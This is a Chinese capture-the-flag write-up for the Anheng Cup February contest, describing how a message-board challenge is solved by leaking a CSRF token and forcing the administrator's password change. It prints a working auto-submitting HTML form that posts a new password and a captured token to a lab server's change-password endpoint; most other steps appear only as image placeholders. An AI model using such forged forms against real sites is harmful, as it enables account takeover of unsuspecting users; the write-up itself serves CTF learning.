1. 程式人生 > >安恒杯2月月賽-應該不是xss

安恒杯2月月賽-應該不是xss

圖片 info ken 鏈接 IT -s 管理員 ext input

1. 打開題目一看,是個留言板

技術分享圖片

2. 查看源碼發現有幾個js文件

技術分享圖片

依次打開發現在main.js裏存在這樣一段代碼

技術分享圖片

3. 訪問 /#login是登錄的界面,/#chgpass是修改密碼的界面,其中修改密碼的時候不需要輸入原密碼,大概其是個csrf

技術分享圖片

4. 再查看app.js,是個修改密碼的js,但是會先驗證token,所以我們需要先得到token

技術分享圖片

獲取token的方法原理:https://githubengineering.com/githubs-post-csp-journey/

5. 利用:
技術分享圖片

6. 監聽得到token

技術分享圖片

7. 下一步就是構造鏈接,讓管理員修改為我們想要的密碼

在自己的服務器放置一個修改密碼的頁面,代碼如下

<form action="http://192.168.5.94/api.php?action=chgpass" method="POST" name="chpa">
<input type="text" name="password" value="hell0_w" />
<input type="text" name="password2" value="hell0_w" />
<input type="text" name="token" value="ymYV0QvnvPbYGfUsmfmOI8Qz4wXaSQU6
" /> </form> <script>document.forms[chpa].submit();</script>

技術分享圖片

收到請求

技術分享圖片

使用我們修改的密碼登錄,就可以看到我們想要的flag了

技術分享圖片

安恒杯2月月賽-應該不是xss